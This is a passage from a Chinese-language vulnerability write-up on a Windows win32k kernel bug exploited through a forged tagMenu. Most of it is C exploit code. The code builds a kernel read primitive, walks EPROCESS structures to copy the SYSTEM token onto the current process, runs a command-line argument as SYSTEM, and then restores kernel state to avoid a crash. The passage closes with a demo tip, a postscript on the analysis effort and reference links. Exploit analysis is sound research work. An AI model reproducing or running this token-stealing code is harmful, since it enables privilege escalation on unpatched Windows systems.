printf("[+]rgItemList = 0x%p\n", rgItemList);
DWORD64 ref_tagMenu = tagMenu;
DWORD64 ref_idItemInfo = idItemInfo;
DWORD64 ref_spSelf = spSelf;
DWORD64 ref_spMenu = spMenu;
ref_g_rgItemList = rgItemList;
*(DWORD*)(idItemInfo + 0x2c) = 0x10;
*(PDWORD)ref_tagMenu = 0x66666666;
*(DWORD64*)(ref_tagMenu+0x28)= ref_idItemInfo;
*(PDWORD)(ref_tagMenu+0x40 )= 1;
*(PDWORD)(ref_tagMenu + 0x44) = 1;
*(DWORD64*)(ref_tagMenu+0x58)= (DWORD64)rgItemList;
*(DWORD64*)ref_spSelf = tagMenu;
*(DWORD64*)(ref_spMenu + 0x98) = ref_spSelf;
//替换hWndMmax的spMenu
DWORD64 ulOffset = WndMaxDeskHeap - g_WndMinDeskHeap;
DWORD64 MaxWndStyle = *(PDWORD64)(MaxTagWnd + WND_STYLE_OFFSET);
//__debugbreak();
//设置hWinMax的窗口样式包含WS_CHLD
SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle ^ WND_STYLE_WS_CHLD);
//修改hWndMax的spMenu为我们伪造的spMenu
DWORD64 ulOldtagMenu = SetWindowLongPtrA(g_hWndMax, GWLP_ID, spMenu);
printf("[+]ulOldtagMenu = 0x%p\n", ulOldtagMenu);
//恢复hWinMax的窗口样式
SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle);
//此时已经获得读原语,并封装成函数readQWORD()
DWORD64 first = readQword(ulOldtagMenu + 0x50);
printf("[+]first = 0x%p\n", first);
DWORD64 second = readQword(first + 0x18);
printf("[+]second = 0x%p\n", second);
DWORD64 third = readQword(second + 0x80);
printf("[+]third = 0x%p\n", third);
DWORD64 pTagThreadInfo = readQword(first + 0x10);
printf("[+]pTagThreadInfo = 0x%p\n", pTagThreadInfo);
DWORD64 tagThreadInfo = readQword(pTagThreadInfo);
printf("[+]tagThreadInfo = 0x%p\n", tagThreadInfo);
DWORD64 _Eprocess = readQword(tagThreadInfo + 0x220);
printf("[+]_Eprocess = 0x%p\n", _Eprocess);
DWORD64 CurEprocess = _Eprocess;
DWORD CurPid = GetCurrentProcessId();
DWORD64 SystemToken = 0;
DWORD64 CurTokenAddr = 0;
DWORD64 tagWndTriggle = 0;
do {
DWORD pid = readQword(_Eprocess + 0x2E8);
if (pid == 4) {
SystemToken = readQword(_Eprocess + 0x360);
printf("[+]SystemToken = 0x%p\n", SystemToken);
}
else if (pid == CurPid) {
CurTokenAddr = _Eprocess + 0x360;
printf("[+]CurTokenAddr = 0x%p\n", CurTokenAddr);
}
_Eprocess = readQword(_Eprocess + 0x2F0) - 0x2F0;
} while (_Eprocess!=CurEprocess);
if (!SystemToken || !CurTokenAddr) {
printf("[!]Error:%d", __LINE__ );
}
else {
//替换Token
SetWindowLongPtrA(hWndMin, ulOffset + WND_EXTRA_DATA_PTR_OFFSET, CurTokenAddr);
SetWindowLongPtrA(g_hWndMax, 0, SystemToken);
//验证是否提权成功
printf("[+]Try to execute %s as SYSTEM!\n",argv[1]);
system(argv[1]);
}
printf("[+]恢复原来的配置...\n");
//恢复到没有修改之前的状态,防止蓝屏
tagWndTriggle = HMValidateHandle(hWndTriggerBug, 1);
//tagWnd->Flags
DWORD64 Flags = *(PDWORD64)(tagWndTriggle + 0xE0) ^ 0x80000000000;
//g_hWndMax tagWnd->ExtraBytes=0
SetWindowLongPtrA(hWndMin, ulOffset + WND_EXTRA_DATA_PTR_OFFSET,
third + *(PDWORD)(tagWndTriggle + 8) + WND_EXTRA_DATA_PTR_OFFSET);
SetWindowLongPtrA(g_hWndMax, 0, 0);
//去除tagWndTriggle tagWnd->Flags中的0x800标记
SetWindowLongPtrA(hWndMin, ulOffset + WND_EXTRA_DATA_PTR_OFFSET,
third + *(PDWORD)(tagWndTriggle + 8) + 0xE0);
SetWindowLongPtrA(g_hWndMax, 0, Flags);
//还原tagWnd->spMenu
SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle ^ WND_STYLE_WS_CHLD);
SetWindowLongPtrA(g_hWndMax, GWLP_ID, ulOldtagMenu);
SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle);
//还原 hWndMin tagWnd->ExtraBytes
SetWindowLongPtrA(hWndMin, WND_EXTRA_DATA_PTR_OFFSET + ulOffset, ulOldMaxExtraBytes);
SetWindowLongPtrA(hWndMin, WND_EXTRA_DATA_PTR_OFFSET, ulOldMinExtraBytes);
return 0;
}
7.演示
tips:有时要多运行几次才能成功
0x4 后记
分析这个漏洞我用去了3周时间,其中最耗费时间的一个是找环境,二个是分析漏洞的利用链,最后一个是分析如何利用tagMenu。最棘手的就是tagMenu,前期找到的资料压根没提,我只能基于公开的POC和自己逆向分析去推测tagMenu的相关成员,包括tagWnd和内核中的窗口this指针,中间也出现过许多误解,随着多次测试和找到了更详细的资料后,逐步清晰起来。特别值得学习的是这个漏洞首次使用了tagMenu来泄露内核数据。
0x5 参考
https://saturn35.com/2021/03/16/20210316-1/
https://bbs.pediy.com/thread-266362.htm
https://paper.seebug.org/1574/
https://zhuanlan.zhihu.com/p/367326101